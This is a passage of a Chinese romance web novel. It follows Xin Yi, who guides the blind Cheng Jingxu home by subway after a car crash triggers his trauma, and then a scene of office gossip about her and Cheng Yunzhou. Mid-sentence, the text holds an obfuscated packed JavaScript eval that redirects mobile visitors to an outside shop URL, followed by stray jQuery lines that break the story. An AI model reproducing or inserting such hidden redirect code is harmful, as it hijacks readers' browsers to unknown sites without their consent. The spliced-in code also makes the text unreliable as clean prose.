辛意从程先生下车的那头跳下去,跪在地上握住他的两个胳膊外侧。
“程先生,我是辛意,没事了。”
他脸庞白惨惨的,额角沁出的一大颗汗珠顺着脸颊流淌下来。
这副样子,显然是在相同、相似情境下触发了当年车祸留下的PTSD。
手臂上传来温热和坚实的力量,程京序慢慢地停止转动脑袋。他沉重地喘气,一下接着一下。黑暗里他再次看见了那个女孩的脸——她有一双灼灼生亮、如小猫一样机灵又坚定的眼睛,他知道她正在注视着他。
人声、车轮声、红绿灯滴滴滴的提示声,各种声音揉杂着沸腾在耳边。
“我……我没事。”他本能地强撑,挣扎着爬起来,但腿还是发软,又跌了回去。
“大少爷——”小于过来了,架住他的一条胳膊将他扶了起来。
“你们车追尾,全责!”前车司机粗犷的声音闯入。
程京序做了个深呼吸,对小于说:“你去处理事故。”
“程先生,要么去车里坐?”辛意问他。
程京序摇头,那颗心脏仍在心腔里七上八下地跳着:“这到了哪里?”
辛意看着斜对面的永鼎大厦说:“建国路,永鼎大厦这边。”
程京序不想坐车了,至少今天他不敢再坐。撞击那一下,他看见了对面车道突然朝他冲来的大货车,那两束远光灯刺得他睁不开眼。之后轰隆一声,两车相撞,那两束光也成了他最后看到的光。
“辛意,除了坐车,还有其他交通工具吗?”他声线抑制不住地发颤。
辛意望向不远处的三号地铁口:“可以坐地铁。”
地铁……
程京序从未坐过地铁,但听说这是最安全的交通工具之一。
“到我住的那边,远吗?”
辛意回答他:“地铁下来,到您住的那边大概有一公里路。”
程京序点点头:“那就坐地铁吧。”
辛意张了张嘴,想说晚上五点到九点的地铁会很拥挤,可看着程先生一脸惊惶,这句话便咽了回去。
她马上绕到程京序左侧,刻意让胳膊挨他很近:“程先生,我看小于就是这样的,您握我手臂试试。”
夜幕被五彩斑斓的灯光映亮,人行道上摩肩接踵,鼎沸人声浮在半空。
辛意被程京序握着右臂,蓬松的羽绒服陷下去一块。两人并肩缓步走着,他深色大衣的衣摆总是擦过她的腰际。
“程先生……想吃寿司吗?”
他们经过了一家店面很小的寿司店,辛意放慢脚步。
程先生让她找一家店吃晚饭,辛意考虑到这附近的小店没有程先生常去的那类店那么好的服务,所以需要找一家吃起来方便、又物美价廉的店,她觉得寿司非常合适。
女孩被风吹起的发丝扫过他的下颌,程京序时不时别开脸:“寿司……也行。”
这附近的店哪家不是人满为患,他们在店门口站了快半个小时,才终于走进店内。
店铺像个长方形的盒子,专门定制的长条桌嵌进两边墙壁,中间是一米左右宽度的过道。
辛意给程京序描述了一下。男人并非只吃山珍海味,没出事故前,他走遍全世界,尝遍各地美食,多么稀奇古怪的食物他都乐意尝试,包括一些小店俗称的苍蝇馆子——有的店真的是苍蝇飞来飞去。
“您坐这儿。”辛意将他带到一张凳子前,程京序慢慢地坐下去。
他已经感觉到了很多打量的目光。其实比起熟人的眼神,那些并不认识的人、这辈子也只可能见一次的人,处在这些人的目光中央,他完全可以泰然自若。
辛意坐在程京序旁边,凳子和凳子间挨得近,她又穿得厚,她的胳膊避免不了地挨着他的胳膊。
程先生左手边的两个女生一直用星星眼在偷看他,辛意做了个不和善的眼神瞪了过去,那两人怯怯地转回头。
从寿司店出来已经七点五十分,地铁口就在门口,只是这个口子没有下行的扶梯,需走五六十级台阶,中间有三个平台。辛意告诉程京序,他微笑一下说,走吧。
两人配合得还算默契。一开始程先生对她的提醒还抱有怀疑,平台下台阶的地方他总是先用脚尖探一探边缘确认安全才落地。但最后一个平台他找到了节奏,也对她有了点信任,跟着她放慢的脚步一块踩下去。
到达地面,辛意侧眸问:“程先生……您吃饱了吗?”
那种快餐式寿司,看样子不太合男人胃口,他只吃了四颗。
程京序说:“不饿了。”
从这儿到检票口还有几百米的路。辛意边走边掏出手机打开乘地铁的App操作,她要在自己的地铁码上加上一个同行码。
“程先生,坐地铁要刷码,就不用您手机下App了,在我手机上加个同行码,这样您可以进闸机。方便将您的身份证号码告诉我吗?”
男人猛地顿步,辛意被带停,单手操作手机本就不稳,手机脱手飞了出去。
辛意顾不上男人骤然黑下去的脸,飞奔过去。周遭人来人往,她半蹲在地上捡自己这部一千多块买的、用了才两年的手机。
她点亮屏幕,上面蛛网一样的裂缝更清晰了。她心都快痛死了,这可是她的第一部手机,平时使用都是小心再小心,边角都没一丝磕碰的。
程京序站在原地,牙根咬紧,一声不吭地走了——难道是报复他怀疑她偷东西这件事吗?
肩膀被路过的人撞了一下,他转了小半圈,旋即掏出口袋里的手机要给小于打电话。
可这里人声太吵了,他根本听不清女声旁白,只好将手机贴到耳朵边,另一只手划屏幕。刚找到小于的手机号,还没来得及摁,他拿手机的手肘又被人撞了下,手机自手中坠落,砸在他的脚上又弹到了地上。
程京序忍着被扔下的怒火,蹲下身,手在地上划拉,逐渐扩大范围。
捡起手机的辛意起身,往身后看去。视线越过重重人头,却不见程先生的身影,她心猛地一跳,以为他去找她了,拔腿就往闸机方向跑。一口气跑到那儿,询问安检人员有没有看到一位眼睛看不见的男士。
有人说:“在后面,他在那里呢。”
辛意掉头跑回去,于攘攘的人堆里,看见了刚站起来的程先生。
他黑着脸,神情凝重且隐忍,正处在情绪爆发的边缘。她鼻子一酸,疾奔过去:
“程先生!”
程京序在听到辛意声音时,循声极快地转头,无神的瞳仁微微放大,似吃惊、似喜悦、似愤怒,所有情绪在脸上同时闪现。可辛意一到他面前,他立即冷下脸,冷声质问:“你去哪里了?”
“我去捡手机了。”她来到程京序左侧,周围实在吵,她拔高声音,“对不起,我不该不说一声就走的,让您……担心了。”
程京序捏紧拳头,手机硌着掌心,恨不能将它嵌入进去。
辛意最终要到了程先生的身份证号,输入进去随之生成了通行码。她对着扫码口刷了下,闸机门一开,她让程先生往里走四五步。男人颔首走到里头,她再刷一下,通过闸机来到程先生身边,挨着。男人的大手慢慢地攀上来,握住她的大臂。
车厢里拥挤不堪。两人抓着上面的横杆,两具身体被挤到紧贴在一起,羽绒服被压得扁塌塌的。她清晰感觉到男人一起一伏的胸膛,以及他那截修长脖颈散出的热意,刚好散在她下颌上。她脸又热又烫,心砰砰狂跳。
“程先生……”辛意小声唤他。
男人听见,垂下头,墨黑的眸子里隐约有她的影子,淡淡一道。
“地铁很拥挤吧?”她问。
程京序嗯了一声。他虽没坐过地铁但见过的——纸媒、网络、影视剧……亲身体会的感觉非常差,这种地方他以后绝不会再来。
地铁很快到站,两人坐着直升梯到达地上。寒风裹挟几片树叶割过露在外的肌肤,微微刺痛。
“你和明屿什么关系?”
车上辛意未回答的话,程京序又问了一遍。
走着走着,走到一棵挂满五颜六色彩珠的树下,一场红色灯雨让辛意脸庞红扑扑的。她带笑回答他:“很好的朋友。”
男人没立时开口。他们不紧不慢地接着走,变幻的彩光流转过男人立体的轮廓上。片刻后:“所以……”
辛意停下来,接道:“程先生,我是明屿的好朋友。你猜的没错,我假装明屿女朋友住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757113|207653||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
进来,是为了替他看着您。您一定觉得荒诞至极,但在我看来这是一个特别温馨的委托。”
程京序慢慢地侧脸,眼皮低下来:“他给了你什么?”
“朋友之间互帮互助,您想多了。”她说。
“辛意,”程京序问,“你不知道明屿喜欢你?”
“知道,但我不喜欢他。”辛意道。她在程先生面前的话总是真假参半,但这句是真的。
“要不是那起车祸,那顿饭是——”
“程先生。”辛意细声截断他的话,“我知道。不过程先生我得请求您一件事。”
“什么?”
“半个月后我搬出去。”
“原因。”
“我在实习,住您这儿不用房租,而且距离我工作的地方近。”
程京序原本想说缺钱我可以借你暂时过渡,可听女孩这番陈述,不是请求的口气——这是拿定了他会同意?
……嚯,他这条自己不要的命,倒成了她的筹码了。
好一个道德债务。
——
最近公司里都在传她和程总的关系不一般,因为有人看到她下班坐进了程云舟的车里,而且还不止一次。
晨光微曦,穿透办公室的落地窗泼洒在辛意白皙、柔软无害的脸上。她支着腮,回想着他们上周三在国贸顶层法餐厅吃的那顿——那道低温慢煮鸽子配发酵黑蒜,好吃到想把舌头一块儿吞进去。看出她没吃过瘾,程总非常贴心地叫来主厨加了一份,他依然亲手帮她切分好,再将食物还到她的手边。
那顿单纯晚餐吃过后,程云舟便常会来三十层转转。整层人包括主管、经理在内,每天都是战战兢兢,私底下都在谈论,会不会集团的这次人事变动轮到了他们技术部门。
上周六午饭时间,程云舟从经理办公室里出来,看到了她在打哈欠。瞧见四下无人,经过她的工位时,屈指在她桌上扣了一下,随后掏出一颗巧克力放在她的手边。镜片下狭柔的眼弯得和善迷人,而后什么都没说,大模大样地离开了。
这一幕被刚回来的孙正看见。低头等程云舟过去后,他来到她桌前,一个男人无比八卦地问她是不是在和程总谈恋爱。她没回答他,第二天这事在同事间就传开了。
这周周一,程云舟给她发信息说是带她去吃中餐,她发过去“加班”。男人随即发来让她准时下班的信息,文字里透着命令的口吻。
傍晚他坐的车停在公司出口的马路牙子边,她小跑过去坐入车内,仅几分钟就被人给看见了。加上上次一样的地方、一样的人,公司里那些人立时脑补出了一部大剧。
就这么的,她野鸡成凤凰、科瑞未来老板娘的话题在整栋楼里沸腾起来。都说,从未见过程总身边出现过别的女人,能让他接、送、认真对待的,想必稳了。
最近几天那些个领导看她的眼神都不一样了。一向严厉著称的钱经理遇见她时笑容也多了,眼底甚至多了一丝谄媚。
辛意自小就见惯人情世故冷暖。人若是处于最底层,所有人都能来踩你——就像她小时候,那些同龄的小孩知道她爹不疼、娘不爱,所有人都来欺负她、嘲笑她,因为他们晓得没人会为她出头。
但后来她找到了靠山,就是她的班主任。因为她学习成绩好,获得了老师们的青睐,她变成了学生里的榜样,成了那些人羡慕的对象,此后再没人会用鄙夷的目光瞧她。
——程云舟。
三十三岁,成熟稳重,还有出众的样貌、顶级的家世,和可以随意支配的金钱,的确是人们口中的极品男人,哪怕他离过一次婚。
辛意拿起手机回复程云舟刚发来的消息。
程总:「周六我带你去个慈善晚宴,今晚我们先去选衣服。」
看着手机屏幕,她指尖一顿。
这部手机是十天前程先生在听她小声嘟囔屏幕坏了,他第二天让小于买来送给她的,还是最新款苹果手机,土豪金色,室友看到这部手机都说她发财了。
光线闪了下眼睛,辛意闭了闭眼,字斟句酌地敲字:「程总……您这样我有点不太习惯。以前没有人对我这么好。」
信息发过去,她抬头,刘文端着杯咖啡,笑盈盈地朝她走过来。